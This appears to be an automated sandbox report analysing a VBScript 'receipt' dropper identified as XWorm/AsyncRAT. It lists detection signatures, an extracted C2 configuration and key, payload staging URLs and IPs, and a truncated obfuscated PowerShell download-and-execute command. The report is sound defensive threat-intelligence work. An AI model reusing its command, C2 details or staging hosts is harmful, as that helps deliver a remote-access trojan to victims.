Windows Analysis Report
S847453-receipt.vbs

Overview

General Information

Sample name: S847453-receipt.vbs
Analysis ID: 1436274
MD5: a0ce65f17a0eaa1f7d3cadb0eac35f2f
SHA1: 5d701f3be2761fe6611b846006ecd26c3cf9c373
SHA256: 3a4477f623c5db3ae063a435ca6efe7b203e110c85bfa2d1b85110dc88f77739
Tags: vbs
Infos:

Detection

XWorm
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell download and execute
Yara detected VBS Downloader Generic
Yara detected XWorm
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Command shell drops VBS files
Connects to a pastebin service (likely for C&C)
Creates autostart registry keys with suspicious values (likely registry only malware)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Potential evasive JS / VBS script found (domain check)
Sample uses string decryption to hide its real strings
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Script Initiated Connection
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://pesterbdd.com/images/Pester.png URL Reputation: Label: malware
Found malware configuration
Source: 0000000A.00000002.2979508882.00000000032A1000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Xworm {"C2 url": ["xwormay8450.duckdns.org"], "Port": "8450", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe"}
Multi AV Scanner detection for submitted file
Source: S847453-receipt.vbs ReversingLabs: Detection: 21%
Sample uses string decryption to hide its real strings
Source: 10.2.RegAsm.exe.400000.0.unpack String decryptor: xwormay8450.duckdns.org
Source: 10.2.RegAsm.exe.400000.0.unpack String decryptor: 8450
Source: 10.2.RegAsm.exe.400000.0.unpack String decryptor: <123456789>
Source: 10.2.RegAsm.exe.400000.0.unpack String decryptor: <Xwormmm>
Source: 10.2.RegAsm.exe.400000.0.unpack String decryptor: USB.exe
Source: unknown HTTPS traffic detected: 172.67.187.200:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.45.138:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 131.153.147.50:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: Binary string: RegAsm.pdb source: RegAsm.exe.10.dr
Source: Binary string: RegAsm.pdb4 source: RegAsm.exe.10.dr

Spreading
barindex
Yara detected VBS Downloader Generic
Source: Yara match File source: S847453-receipt.vbs, type: SAMPLE
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior

Software Vulnerabilities
barindex
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2020425 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 3 M1 131.153.147.50:443 -> 192.168.2.4:49739
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\System32\wscript.exe Network Connect: 172.67.187.200 443 Jump to behavior
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: xwormay8450.duckdns.org
Connects to a pastebin service (likely for C&C)
Source: unknown DNS query: name: paste.ee
Uses dynamic DNS services
Source: unknown DNS query: name: xwormay8450.duckdns.org
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49741 -> 12.221.146.138:8450
Found URL in obfuscated visual basic script code
Source: escudellar.vbs.8.dr Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: escudellar.vbs.8.dr Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic HTTP traffic detected: GET /nm/xwomay.txt HTTP/1.1Host: www.evolve27.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 172.67.187.200 172.67.187.200
Source: Joe Sandbox View IP Address: 172.67.187.200 172.67.187.200
Source: Joe Sandbox View IP Address: 104.21.45.138 104.21.45.138
Source: Joe Sandbox View IP Address: 12.221.146.138 12.221.146.138
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: ATT-INTERNET4US ATT-INTERNET4US
Source: Joe Sandbox View ASN Name: SS-ASHUS SS-ASHUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /d/Pz7Nj HTTP/1.1Accept: */*Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: paste.eeConnection: Keep-Alive
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /d/Pz7Nj HTTP/1.1Accept: */*Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: paste.eeConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic HTTP traffic detected: GET /nm/xwomay.txt HTTP/1.1Host: www.evolve27.comConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: paste.ee
Source: global traffic DNS traffic detected: DNS query: uploaddeimagens.com.br
Source: global traffic DNS traffic detected: DNS query: www.evolve27.com
Source: global traffic DNS traffic detected: DNS query: xwormay8450.duckdns.org
Source: wscript.exe, 00000000.00000002.1885694563.000001A860220000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1666302244.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879538877.000001A85E509000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1856696221.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879175290.000001A860222000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1856630795.000001A86023C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879196524.000001A85E4ED000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1855839456.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665749382.000001A860230000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665816178.000001A85E509000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665865168.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878753795.000001A85E58C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1884599780.000001A860225000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1885383536.000001A85E58C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1885713037.000001A860225000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1877954656.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879515265.000001A860250000.00000004.00000020.00020000.00000000.sdmp, S847453-receipt.vbs String found in binary or memory: http://app01.system.com.br/RDWeb/Pages/login.aspx
Source: wscript.exe, 00000000.00000003.1878753795.000001A85E58C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1885383536.000001A85E58C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://app01.system.com.br/RDWeb/Pages/login.aspxW
Source: wscript.exe, 00000000.00000003.1666302244.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1856696221.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1855839456.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665865168.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1877954656.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879515265.000001A860250000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://app01.system.com.br/RDWeb/Pages/login.aspxd
Source: wscript.exe, 00000000.00000003.1666634236.000001A86022A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1666264631.000001A860224000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://app01.system.com.br/RDWeb/Pages/login.aspxelp_
Source: wscript.exe, 00000000.00000002.1885341405.000001A85E53D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878557421.000001A85E53C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://app01.system.com.br/RDWeb/Pages/login.aspxoG2
Source: powershell.exe, 00000007.00000002.2642487198.000001C590071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.2281228806.000001C580223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.2812838257.000002090009E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2281228806.000001C580001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.2281228806.000001C580223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.2812838257.0000020900059000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000003.00000002.2812838257.000002090006C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2281228806.000001C580001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: wscript.exe, 00000000.00000002.1885383536.000001A85E55C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1884250357.000001A8605F6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886174848.000001A8605FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879985688.000001A8606E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://analytics.paste.ee
Source: wscript.exe, 00000000.00000002.1885383536.000001A85E55C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1884250357.000001A8605F6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886174848.000001A8605FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879985688.000001A8606E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://analytics.paste.ee;
Source: wscript.exe, 00000000.00000002.1885383536.000001A85E55C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1884250357.000001A8605F6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886174848.000001A8605FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879985688.000001A8606E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdnjs.cloudflare.com
Source: wscript.exe, 00000000.00000002.1885383536.000001A85E55C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1884250357.000001A8605F6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886174848.000001A8605FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879985688.000001A8606E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000007.00000002.2642487198.000001C590071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.2642487198.000001C590071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.2642487198.000001C590071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: wscript.exe, 00000000.00000002.1885383536.000001A85E55C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1884250357.000001A8605F6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886174848.000001A8605FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879985688.000001A8606E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://fonts.googleapis.com
Source: wscript.exe, 00000000.00000002.1885383536.000001A85E55C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1884250357.000001A8605F6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886174848.000001A8605FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879985688.000001A8606E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 00000007.00000002.2281228806.000001C580223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: wscript.exe, 00000000.00000002.1886130177.000001A8605D7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878261147.000001A8605CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605D6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: powershell.exe, 00000007.00000002.2642487198.000001C590071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: wscript.exe, 00000000.00000003.1878261147.000001A8605AA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886063034.000001A8605AF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://paste.ee/
Source: wscript.exe, 00000000.00000003.1878261147.000001A8605AA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886063034.000001A8605AF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://paste.ee/;
Source: wscript.exe, 00000000.00000002.1885694563.000001A860220000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886130177.000001A8605D7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1856630795.000001A86023C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878261147.000001A8605CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605D6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879985688.000001A8606E5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879378362.000001A8605A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1856696221.000001A86024C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879106103.000001A8605A1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1885998798.000001A8605A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878532060.000001A860599000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://paste.ee/d/Pz7Nj
Source: wscript.exe, 00000000.00000002.1885271657.000001A85E531000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879196524.000001A85E531000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879538877.000001A85E531000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://paste.ee/d/Pz7Njec1
Source: wscript.exe, 00000000.00000003.1666302244.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879538877.000001A85E509000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1856696221.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879196524.000001A85E4ED000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1855839456.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665749382.000001A860230000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1666634236.000001A86022A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665816178.000001A85E509000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665865168.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1666264631.000001A860224000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1877954656.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879515265.000001A860250000.00000004.00000020.00020000.00000000.sdmp, S847453-receipt.vbs String found in binary or memory: https://pastzangam.zangamzangam/d/Pz7Nj
Source: wscript.exe, 00000000.00000003.1666302244.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1856696221.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1855839456.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665865168.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1877954656.000001A86024E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879515265.000001A860250000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pastzangam.zangamzangam/d/Pz7NjC
Source: wscript.exe, 00000000.00000002.1885383536.000001A85E55C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1884250357.000001A8605F6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886174848.000001A8605FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879985688.000001A8606E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.gravatar.com
Source: wscript.exe, 00000000.00000002.1885383536.000001A85E55C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1884250357.000001A8605F6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886174848.000001A8605FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879985688.000001A8606E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 00000007.00000002.2281228806.000001C580223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br
Source: powershell.exe, 00000007.00000002.2281228806.000001C580001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029
Source: wscript.exe, 00000000.00000002.1885383536.000001A85E55C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1884250357.000001A8605F6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886174848.000001A8605FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879985688.000001A8606E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: wscript.exe, 00000000.00000002.1885383536.000001A85E55C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1884250357.000001A8605F6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886174848.000001A8605FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879985688.000001A8606E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com;
Source: wscript.exe, 00000000.00000002.1885383536.000001A85E55C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1884250357.000001A8605F6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1886174848.000001A8605FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879985688.000001A8606E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown HTTPS traffic detected: 172.67.187.200:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.45.138:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 131.153.147.50:443 -> 192.168.2.4:49739 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 10.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000A.00000002.2972228650.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3916, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6276, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 8806
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 8806 Jump to behavior
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Network Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{093FF999-1EA0-4079-9525-9614C3504B74} Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreD